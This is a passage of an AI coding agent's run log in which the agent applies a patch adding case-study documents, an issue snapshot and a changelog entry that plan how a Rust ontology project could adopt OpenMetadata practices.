Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\n*** End Patch\";\n[2026-07-12T04:06:06.657Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:06:06.657Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:06.657Z] [INFO] \n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.675943Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311fd2b9c8191bf56a99b3466603e\"\n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.676049Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=50420 output_token_count=9523 cached_token_count=41728 reasoning_token_count=197 tool_token_count=59943 ttft_ms=938 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:06.676Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:06.723Z] [INFO] 2026-07-12T04:06:06.676095Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=50420 output_token_count=9523 cached_token_count=41728 reasoning_token_count=197 tool_token_count=59943 ttft_ms=938 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:06.676Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:06.723Z] [INFO] \n[2026-07-12T04:06:07.249Z] [INFO] 2026-07-12T04:06:07.248579Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 decision=approved source=Config event.timestamp=2026-07-12T04:06:07.248Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.249Z] [INFO] \n[2026-07-12T04:06:07.253Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_28\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/.gitkeep\",\"kind\":\"delete\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\",\"kind\":\"add\"}],\"status\":\"in_progress\"}}\n[2026-07-12T04:06:07.253Z] [INFO] \n[2026-07-12T04:06:07.324Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_28\",\"type\":\"file_change\",\"changes\":[{\"path\":\"/tmp/gh-issue-solver-1783828904396/.gitkeep\",\"kind\":\"delete\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\",\"kind\":\"add\"},{\"path\":\"/tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\",\"kind\":\"add\"}],\"status\":\"completed\"}}\n[2026-07-12T04:06:07.324Z] [INFO] \n[2026-07-12T04:06:07.390Z] [INFO] 2026-07-12T04:06:07.323393Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 arguments=*** Begin Patch\n[2026-07-12T04:06:07.390Z] [INFO] *** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Issue 5 Case Study: Applying OpenMetadata Practices\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Summary\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata is a mature metadata platform, while this repository is a small,\n[2026-07-12T04:06:07.390Z] [INFO] +Links Notation-based ontology. The useful lesson is therefore not to copy its\n[2026-07-12T04:06:07.390Z] [INFO] +Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\n[2026-07-12T04:06:07.390Z] [INFO] +schema, stable entity identity, explicit relationships, versioned changes,\n[2026-07-12T04:06:07.390Z] [INFO] +connector isolation, API-first access, governance metadata, and automated\n[2026-07-12T04:06:07.390Z] [INFO] +quality checks.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The recommended sequence is deliberately incremental. Strengthen the current\n[2026-07-12T04:06:07.390Z] [INFO] +in-process Rust model and lino data first; add interchange and ingestion\n[2026-07-12T04:06:07.390Z] [INFO] +contracts next; add persistence, search, HTTP, and a UI only when their roadmap\n[2026-07-12T04:06:07.390Z] [INFO] +milestones and measured usage justify the operational cost.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\n[2026-07-12T04:06:07.390Z] [INFO] +that can change are pinned to the observation date and links to primary sources.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Collected Data\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\n[2026-07-12T04:06:07.390Z] [INFO] +  release, documentation, and source-code evidence consulted.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\n[2026-07-12T04:06:07.390Z] [INFO] +  practices, mismatches, risks, and existing components that can help.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\n[2026-07-12T04:06:07.390Z] [INFO] +  every explicit and implied requirement and gives a solution and staged plan.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`raw-data/research-observations.json`](raw-data/research-observations.json)\n[2026-07-12T04:06:07.390Z] [INFO] +  preserves time-sensitive repository and PR observations in a compact,\n[2026-07-12T04:06:07.390Z] [INFO] +  reviewable form.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +No issue comments, PR conversation comments, inline review comments, or PR\n[2026-07-12T04:06:07.390Z] [INFO] +reviews existed when collected.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Findings\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Practices to adopt now\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. **Schema-first domain model.** Validate every persisted concept, definition,\n[2026-07-12T04:06:07.390Z] [INFO] +   mapping, language exponent, and relationship against a versioned contract.\n[2026-07-12T04:06:07.390Z] [INFO] +2. **Stable identity separate from display names.** Renames must not break\n[2026-07-12T04:06:07.390Z] [INFO] +   mappings, definitions, lineage, or future external references.\n[2026-07-12T04:06:07.390Z] [INFO] +3. **Typed graph edges.** Replace implicit string conventions with a small,\n[2026-07-12T04:06:07.390Z] [INFO] +   documented relation vocabulary and validate edge endpoints.\n[2026-07-12T04:06:07.390Z] [INFO] +4. **Provenance and change history.** Record source, author/agent, timestamp,\n[2026-07-12T04:06:07.390Z] [INFO] +   schema version, and change reason. Emit a deterministic change record when\n[2026-07-12T04:06:07.390Z] [INFO] +   loading or updating data.\n[2026-07-12T04:06:07.390Z] [INFO] +5. **Layered validation.** Separate parse validity, schema validity, graph\n[2026-07-12T04:06:07.390Z] [INFO] +   integrity, semantic quality, and repository word coverage so failures are\n[2026-07-12T04:06:07.390Z] [INFO] +   actionable.\n[2026-07-12T04:06:07.390Z] [INFO] +6. **Connector boundary.** Future importers should produce the same normalized\n[2026-07-12T04:06:07.390Z] [INFO] +   intermediate model; source-specific code must not leak into the core graph.\n[2026-07-12T04:06:07.390Z] [INFO] +7. **Contract-driven interfaces.** The library remains authoritative. CLI,\n[2026-07-12T04:06:07.390Z] [INFO] +   future HTTP, WASM, and importers consume the same service contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +8. **Governance primitives.** Ownership, lifecycle state, classifications, and\n[2026-07-12T04:06:07.390Z] [INFO] +   policy references should be ordinary metadata, not UI-only annotations.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Practices to defer\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- A separate database and search index until the corpus or query latency needs it.\n[2026-07-12T04:06:07.390Z] [INFO] +- A workflow scheduler until multiple repeatable external ingestion jobs exist.\n[2026-07-12T04:06:07.390Z] [INFO] +- Microservices, event buses, and Kubernetes until deployment requirements demand\n[2026-07-12T04:06:07.390Z] [INFO] +  independent scaling or availability.\n[2026-07-12T04:06:07.390Z] [INFO] +- A broad connector catalog before one end-to-end connector contract is proven.\n[2026-07-12T04:06:07.390Z] [INFO] +- Enterprise RBAC before the HTTP service exists; design authorization fields now,\n[2026-07-12T04:06:07.390Z] [INFO] +  enforce them at the service boundary later.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Target Architecture\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +```text\n[2026-07-12T04:06:07.390Z] [INFO] +source files / future connectors\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] +      normalized import records\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] + parse -> schema -> graph -> semantic validation\n[2026-07-12T04:06:07.390Z] [INFO] +              |\n[2026-07-12T04:06:07.390Z] [INFO] +              v\n[2026-07-12T04:06:07.390Z] [INFO] +     versioned ontology service\n[2026-07-12T04:06:07.390Z] [INFO] +       /          |          \\\n[2026-07-12T04:06:07.390Z] [INFO] +     CLI       future API    WASM/UI\n[2026-07-12T04:06:07.390Z] [INFO] +                  |\n[2026-07-12T04:06:07.390Z] [INFO] +          optional persistence/search\n[2026-07-12T04:06:07.390Z] [INFO] +```\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The pipeline is the important boundary. Each consumer sees one validated model;\n[2026-07-12T04:06:07.390Z] [INFO] +each importer produces one normalized representation.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Decision Matrix\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| OpenMetadata practice | Fit | Decision |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Canonical schema and generated/typed models | High | Adopt incrementally |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\n[2026-07-12T04:06:07.390Z] [INFO] +| Typed relationships and lineage | High | Add a relation vocabulary |\n[2026-07-12T04:06:07.390Z] [INFO] +| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\n[2026-07-12T04:06:07.390Z] [INFO] +| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\n[2026-07-12T04:06:07.390Z] [INFO] +| Change events and webhooks | Medium | Start with deterministic local events |\n[2026-07-12T04:06:07.390Z] [INFO] +| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search index | Low today | Keep an interface; defer infrastructure |\n[2026-07-12T04:06:07.390Z] [INFO] +| Airflow-style workflow scheduling | Low today | Defer |\n[2026-07-12T04:06:07.390Z] [INFO] +| Full production deployment stack | Low today | Do not copy |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Completion Criteria\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +This case study satisfies issue 5 when it:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- preserves issue- and PR-related observations under this directory;\n[2026-07-12T04:06:07.390Z] [INFO] +- uses current primary online sources and distinguishes observations from\n[2026-07-12T04:06:07.390Z] [INFO] +  recommendations;\n[2026-07-12T04:06:07.390Z] [INFO] +- enumerates all issue requirements;\n[2026-07-12T04:06:07.390Z] [INFO] +- evaluates OpenMetadata practices against this repository rather than merely\n[2026-07-12T04:06:07.390Z] [INFO] +  summarizing OpenMetadata;\n[2026-07-12T04:06:07.390Z] [INFO] +- identifies reusable standards, crates, and libraries;\n[2026-07-12T04:06:07.390Z] [INFO] +- supplies a prioritized, testable implementation plan for every requirement.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The analysis and plan meet those criteria. Product changes are intentionally\n[2026-07-12T04:06:07.390Z] [INFO] +proposed as future slices rather than bundled into this research PR.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:07.390Z] [INFO] +# Source Inventory and Research Method\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Method\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The investigation used the GitHub API/CLI for repository state and official\n[2026-07-12T04:06:07.390Z] [INFO] +OpenMetadata documentation and source repositories for technical claims.\n[2026-07-12T04:06:07.390Z] [INFO] +Marketing claims and time-sensitive counts are treated as observations, not as\n[2026-07-12T04:06:07.390Z] [INFO] +architecture requirements. Access date for every online source: 2026-07-12.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Local issue and pull request\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Evidence | Observation |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\n[2026-07-12T04:06:07.390Z] [INFO] +| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\n[2026-07-12T04:06:07.390Z] [INFO] +| Issue comments API | No comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR review comments API | No inline comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR conversation comments API | No comments |\n[2026-07-12T04:06:07.390Z] [INFO] +| PR reviews API | No reviews |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\n[2026-07-12T04:06:07.390Z] [INFO] +| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## OpenMetadata repository snapshot\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\n[2026-07-12T04:06:07.390Z] [INFO] +reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\n[2026-07-12T04:06:07.390Z] [INFO] +codebase. The latest GitHub release observed was\n[2026-07-12T04:06:07.390Z] [INFO] +[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\n[2026-07-12T04:06:07.390Z] [INFO] +published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\n[2026-07-12T04:06:07.390Z] [INFO] +issues are intentionally not used to choose this repository's architecture.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Relevant upstream areas:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\n[2026-07-12T04:06:07.390Z] [INFO] +  canonical JSON Schemas and generated model inputs.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\n[2026-07-12T04:06:07.390Z] [INFO] +  server, repositories, APIs, authorization, and event handling.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\n[2026-07-12T04:06:07.390Z] [INFO] +  connector and workflow framework.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\n[2026-07-12T04:06:07.390Z] [INFO] +  web application kept separate from the metadata service.\n[2026-07-12T04:06:07.390Z] [INFO] +- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\n[2026-07-12T04:06:07.390Z] [INFO] +  generated/client-facing access layers.\n[2026-07-12T04:06:07.390Z] [INFO] +- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\n[2026-07-12T04:06:07.390Z] [INFO] +  issue-based contribution and local build/test workflow.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Primary technical documentation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Topic | Source | Evidence used |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\n[2026-07-12T04:06:07.390Z] [INFO] +| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\n[2026-07-12T04:06:07.390Z] [INFO] +| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\n[2026-07-12T04:06:07.390Z] [INFO] +| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\n[2026-07-12T04:06:07.390Z] [INFO] +| Glossary semantics | [Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\n[2026-07-12T04:06:07.390Z] [INFO] +| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\n[2026-07-12T04:06:07.390Z] [INFO] +| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\n[2026-07-12T04:06:07.390Z] [INFO] +| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\n[2026-07-12T04:06:07.390Z] [INFO] +| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\n[2026-07-12T04:06:07.390Z] [INFO] +| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## External standards and candidate components\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +These are evaluated as interoperability options, not mandatory dependencies.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +| Need | Candidate | Intended use |\n[2026-07-12T04:06:07.390Z] [INFO] +| --- | --- | --- |\n[2026-07-12T04:06:07.390Z] [INFO] +| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\n[2026-07-12T04:06:07.390Z] [INFO] +| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\n[2026-07-12T04:06:07.390Z] [INFO] +| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\n[2026-07-12T04:06:07.390Z] [INFO] +| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\n[2026-07-12T04:06:07.390Z] [INFO] +| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\n[2026-07-12T04:06:07.390Z] [INFO] +| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\n[2026-07-12T04:06:07.390Z] [INFO] +| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\n[2026-07-12T04:06:07.390Z] [INFO] +| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\n[2026-07-12T04:06:07.390Z] [INFO] +| Stable identifiers | 